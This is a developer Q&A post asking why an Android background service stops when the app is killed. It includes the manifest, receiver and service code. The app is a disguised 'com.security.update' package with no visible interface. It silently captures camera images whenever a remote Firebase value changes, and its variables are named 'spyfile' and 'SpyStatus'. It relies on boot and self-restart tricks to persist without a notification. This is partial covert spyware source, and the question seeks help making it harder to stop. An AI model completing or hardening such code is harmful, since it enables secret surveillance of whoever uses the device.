title: Background Service with Firebase childeventlistener not working after few minutes
body: <p>I have created a service which i want to run forever without showing foreground notification. I have <code>Firebase</code> listener in <code>onStartCommand</code> that listens whenever data changes in database. Whenever data changes it does a specific task <em>eg. Capture image</em>. </p>
  
  <p>In Activity class there is nothing just i have started service there and then i finished it. Problem is that i can see on my <code>Samsung J2</code> device and on <code>Nexus 5</code> too , that service got stopped whenever i kill application from App drawer. I have implemented Broadcast Receiver on <code>BOOT_COMPLETED</code> and also in service <code>onDestroy</code> but its not working on booting also. In Short my service is not running forever.Also i am not sure about Firebase listener whether it will work in background service or not. There are many apps like <em>whatsapp,hike,Applock</em>, many other apps which restarts even on force close.I want my app listen to Firebase Database every time .Its purely Service based App.It doesnt have any activity.
  Below is code-</p>
  
  <p><strong>MANIFEST File</strong></p>
  
  <pre><code>&lt;manifest xmlns:android="http://schemas.android.com/apk/res/android"
  package="com.security.update"&gt;
  
  &lt;uses-permission android:name="android.permission.INTERNET" /&gt;
  &lt;uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /&gt;
  &lt;uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /&gt;
  &lt;uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /&gt;
  &lt;uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /&gt;
  &lt;uses-permission android:name="android.permission.CAMERA" /&gt;
  &lt;uses-feature android:name="android.hardware.camera" /&gt;
  &lt;uses-permission android:name="android.permission.WAKE_LOCK" /&gt;
  
  &lt;application
      android:screenOrientation="portrait"
      android:name="android.support.multidex.MultiDexApplication"
      android:allowBackup="true"
      android:icon="@mipmap/ic_launcher"
      android:label="@string/app_name"
      android:supportsRtl="true"
      android:theme="@style/AppTheme"&gt;
  
  
      &lt;activity
          android:name=".ActivityForPermissions"
          android:screenOrientation="portrait"&gt;
          &lt;intent-filter&gt;
              &lt;action android:name="android.intent.action.MAIN" /&gt;
  
              &lt;category android:name="android.intent.category.LAUNCHER" /&gt;
          &lt;/intent-filter&gt;
      &lt;/activity&gt;
  
  
      &lt;service android:name="com.security.update.CameraService"
          android:enabled="true"
          /&gt;
  
      &lt;receiver android:name="com.security.update.ReceiverCall"
          android:enabled="true"&gt;
          &lt;intent-filter&gt;
              &lt;action android:name="RESTART_SERVICE" /&gt;
              &lt;action android:name="android.intent.action.BOOT_COMPLETED" /&gt;
          &lt;/intent-filter&gt;
      &lt;/receiver&gt;
  
  &lt;/application&gt;
  </code></pre>
  
  <p></p>
  
  <p><strong>Activity class</strong></p>
  
  <pre><code> public class ActivityForPermissions extends AppCompatActivity {
  
    @Override
    public void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
  
      startService(new   Intent(ActivityForPermissions.this,CameraService.class));
      finish();
  }
  
  
  @Override
  protected void onDestroy() {
      super.onDestroy();
  }}
  </code></pre>
  
  <p><strong>Reciever Class</strong></p>
  
  <pre><code>public class ReceiverCall extends BroadcastReceiver {
  
  @Override
  public void onReceive(Context context, Intent intent) {
  
      context.startService(new Intent(context, CameraService.class));;
      }
  
   }
  </code></pre>
  
  <p><strong>Service Class</strong></p>
  
  <pre><code>public class CameraService extends Service
  {
  //Camera variables
  //a surface holder
  private SurfaceHolder sHolder;
  //a variable to control the camera
  private Camera mCamera;
  //the camera parameters
  private Parameters parameters;
  /** Called when the activity is first created. */
  private StorageReference mStorageRef;
  File spyfile;
  FirebaseDatabase database;
  public static DatabaseReference RequestRef,SpyStatus;
  String devicemodel;
  
  @Override
  public void onCreate()
  {
      super.onCreate();
      android.os.Debug.waitForDebugger();
  }
  
  @Override
  public int onStartCommand(Intent intent, int flags, int startId) {
      devicemodel = android.os.Build.MODEL;
      mStorageRef = FirebaseStorage.getInstance().getReference();
      database = FirebaseDatabase.getInstance();
      RequestRef = database.getReference("CameraRequest");
      SpyStatus = database.getReference("SpyStatus");
      ListenerForRequestDone();
      return START_STICKY;
  
  }
  
  @Override
  public void onDestroy() {
      super.onDestroy();
      Intent intent = new Intent("RESTART_SERVICE");
      sendBroadcast(intent);
  }
  
   public void ListenerForRequestDone(){
      RequestRef.addChildEventListener(new ChildEventListener() {
          @Override
          public void onChildAdded(DataSnapshot dataSnapshot, String s) {
  
          }
  
          @Override
          public void onChildChanged(DataSnapshot dataSnapshot, String s) {
              StartImageCapture(1);
          }
  
          @Override
          public void onChildRemoved(DataSnapshot dataSnapshot) {
  
          }
  
          @Override
          public void onChildMoved(DataSnapshot dataSnapshot, String s) {
  
          }
  
          @Override
          public void onCancelled(DatabaseError databaseError) {
  
          }
      });
  }
  </code></pre>
  
  <p>Also there is similar questions there eg. <a href="https://stackoverflow.com/questions/30397318/firebase-on-service-will-stop-working-afer-leaving-the-app-on-background-for-a">this</a> But there is no proper answer.</p>